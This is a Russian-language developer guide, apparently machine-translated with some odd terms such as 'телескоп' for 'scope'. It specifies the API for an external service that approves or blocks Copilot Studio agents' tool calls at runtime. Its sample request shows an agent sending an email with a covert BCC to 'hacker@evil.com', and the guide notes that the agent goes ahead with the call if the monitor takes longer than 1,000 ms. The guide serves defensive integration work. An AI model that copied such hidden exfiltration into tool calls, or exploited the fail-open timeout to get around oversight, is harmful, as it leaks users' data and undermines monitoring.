Создайте систему обнаружения угроз во время выполнения для агентов Copilot Studio

Организации могут добавить уровень безопасности своим агентам Copilot Studio, подключив их к системе обнаружения угроз во время выполнения. После подключения агент вызывает эту систему во время выполнения. Агент предоставляет системе данные, чтобы она могла определить, является ли инструмент, который агент планирует вызвать, легитимным или нет. Система затем отвечает Copilot Studio ответом «одобрить» или «заблокировать», из-за чего агент вызывает или пропускает инструмент соответственно. Для получения дополнительной информации о том, как подключить агентов к существующей системе обнаружения внешних угроз, см. Enable external threat detection and protection for Copilot Studio custom agents.

Эта статья ориентирована на разработчиков и описывает, как интегрировать собственные возможности обнаружения угроз в качестве поставщика безопасности для агентов Copilot Studio.

Интеграция основана на API, состоящем из двух конечных точек. Основная конечная точка, которую нужно реализовать — это конечная analyze-tool-execution точка. Вам нужно открыть эту конечную точку как интерфейс для вашей системы обнаружения угроз. После того как клиенты настраивают вашу систему как внешнюю систему обнаружения угроз, агент вызывает этот API каждый раз, когда собирается вызвать инструмент.

Помимо конечной analyze-tool-execution точки, нужно также открыть вторую конечную точку, называемую validate. Конечная validate точка используется для проверки состояния и готовности конечной точки в рамках настройки системы.

Следующие разделы подробно описывают каждую конечную точку.

POST /validate

Цель: Проверяет, что конечная точка обнаружения угроз доступна и функционирует. Используется для начальной настройки и тестирования конфигурации.

Запрос на проверку

• Метод: POST

• URL-адрес: https://{threat detection endpoint}/validate?api-version=2025-05-01

• Заголовки:

  • Авторизация: токен носителя для аутентификации API

  • x-ms-correlation-id: GUID для трассировки

• Корпус: Пусто

Валидируйте ответ

Пример ответа 200 OK

{
  "isSuccessful": true,
  "status": "OK"
}

Пример ответа об ошибке

Если возникает ошибка (неудачный HTTP-код), конечная точка возвращает код ошибки, сообщение и необязательную диагностику.

{
  "errorCode": 5031,
  "message": "Validation failed. Webhook service is temporarily unavailable.",
  "httpStatus": 503,
  "diagnostics": "{\\reason\\:\\Upstream dependency timeout\\}"
}

POST /analyze-tool-execution

Цель: Отправляет контекст выполнения инструмента для оценки рисков. Оценивает запрос на выполнение инструмента и отвечает, разрешать или блокировать выполнение инструмента.

Запрос на исполнение инструментов анализа

• Метод: POST

• URL-адрес: https://{threat detection endpoint}/analyze-tool-execution?api-version=2025-05-01

• Заголовки:

  • Авторизация: токен носителя для аутентификации API
  • Тип содержания: application/json

• Корпус: Объект JSON

Пример запроса на исполнение инструментов анализа

POST https://security.contoso.com/api/agentSecurity/analyze-tool-execution?api-version=2025-05-01
Authorization: Bearer XXX……
x-ms-correlation-id: fbac57f1-3b19-4a2b-b69f-a1f2f2c5cc3c
Content-Type: application/json

{
  "plannerContext": {
    "userMessage": "Send an email to the customer",
    "thought": "User wants to notify customer",
    "chatHistory": [
      {
        "id": "m1",
        "role": "user",
        "content": "Send an email to the customer",
        "timestamp": "2025-05-25T08:00:00Z"
      },
      {
        "id": "m2",
        "role": "assistant",
        "content": "Which customer should I email?",
        "timestamp": "2025-05-25T08:00:01Z"
      },
      {
        "id": "m3",
        "role": "user",
        "content": "The customer is John Doe",
        "timestamp": "2025-05-25T08:00:02Z"
      }
    ],
    "previousToolOutputs": [
      {
        "toolId": "tool-123",
        "toolName": "Get customer email by name",
        "outputs": {
          "name": "email",
          "description": "Customer's email address",
          "type": {
            "$kind": "String"
          },
          "value": "customer@foobar.com"
        },
        "timestamp": "2025-05-25T08:00:02Z"
      }
    ]
  },
  "toolDefinition": {
    "id": "tool-123",
    "type": "PrebuiltToolDefinition",
    "name": "Send email",
    "description": "Sends an email to specified recipients.",
    "inputParameters": [
      {
        "name": "to",
        "description": "Receiver of the email",
        "type": {
          "$kind": "String"
        }
      },
      {
        "name": "bcc",
        "description": "BCC of the email",
        "type": {
          "$kind": "String"
        }
      }
    ],
    "outputParameters": [
      {
        "name": "result",
        "description": "Result",
        "type": {
          "$kind": "String"
        }
      }
    ]
  },
  "inputValues": {
    "to": "customer@foobar.com",
    "bcc": "hacker@evil.com"
  },
  "conversationMetadata": {
    "agent": {
      "id": "agent-guid",
      "tenantId": "tenant-guid",
      "environmentId": "env-guid",
      "isPublished": true
    },
    "user": {
      "id": "user-guid",
      "tenantId": "tenant-guid"
    },
    "trigger": {
      "id": "trigger-guid",
      "schemaName": "trigger-schema"
    },
    "conversationId": "conv-id",
    "planId": "plan-guid",
    "planStepId": "step-1"
  }
}

Ответ на исполнение инструмента анализа

200 OK (Запрос выполнен успешно)

Когда запрос валиден, использование инструмента, указанное в запросе, оценивается и либо разрешено , либо блокируется на основе определённых критериев. Ответ может включать следующие поля:

• blockAction (булевый): Следует ли блокировать действие
• reasonCode (целое число, необязательно): числовой код, объясняющий причину блокировки
• причина (строка, по желанию): Объяснение, читаемое человеком
• диагностика (объект, по желанию): другие детали для трассировки или отладки

Пример разрешённого ответа

{
  "blockAction": false
}

Пример блочного ответа

{
  "blockAction": true,
  "reasonCode": 112,
  "reason": "The action was blocked because there is a noncompliant email address in the BCC field.",
  "diagnostics": "{\\flaggedField\\:\\bcc\\,\\flaggedValue\\:\\hacker@evil.com\\}"
}

Пример ответа об ошибке

Если запрос невалиден, возвращается ответ на ошибку с кодом ошибки, сообщением, HTTP-статусом и необязательной диагностикой.

{
  "errorCode": 4001,
  "message": "Missing required field: toolDefinition",
  "httpStatus": 400,
  "diagnostics": "{\\missingField\\:\\toolDefinition\\,\\traceId\\:\\abc-123\\}"
}

Ссылка на структуры запросов и ответных органов

Следующие таблицы описывают содержимое различных объектов, используемых в запросах и ответах для конечных точек.

ValidationResponse

AnalyzeToolExecutionResponse

Ответ об ошибке

ОценкаЗапрос

PlannerContext

ChatMessage

ToolExecutionOutputs

ExecutionOutput

ToolDefinition

ToolInput

ToolOutput

ConversationMetadata

AgentContext

UserContext

TriggerContext

Аутентификация

Интеграция, которую вы разрабатываете, должна использовать аутентификацию Microsoft Entra ID. Следуйте инструкциям по интеграции приложений, которые создают ваши разработчики.

Шаги для выполнения включают следующее:

• Создайте регистрацию приложения для вашего ресурса в вашем арендаторе.
• Откройте телескоп для вашего веб-API. Открытая область действия должна быть базовым URL ресурса, который вызывает клиент. Например, если URL API — https://security.contoso.com/api/threatdetection, то открытая область действия должна быть https://security.contoso.com.
• В зависимости от того, как вы реализуете сервис, необходимо реализовать логику авторизации и проверить входящие токены. Вам нужно документировать, как клиент должен авторизовать свои приложения. Существует несколько способов сделать это, например, с помощью списка разрешённых идентификаторов приложений или ролевого контроля доступа (RBAC).

Требования к времени отклика

Агент ожидает ответ от системы обнаружения угроз менее чем в 1 000 мс. Убедитесь, что ваш конечный конец ответит на звонок в течение этого времени. Если ваша система не отвечает вовремя, агент ведёт себя так, будто ваш ответ — «разрешить», вызывая инструмент.

Версионирование API

В запросах версия API задаётся через api-version параметр запроса (например, api-version=2025-05-01). Ваша реализация должна быть терпимой к другим неожиданным полям и не должна провалиться, если в будущем появятся новые значения. Партнёрам не стоит проверять версию API, так как все текущие версии считаются неломающими. Партнёры должны отслеживать версии API, но не проваливать запрос при виде новой версии.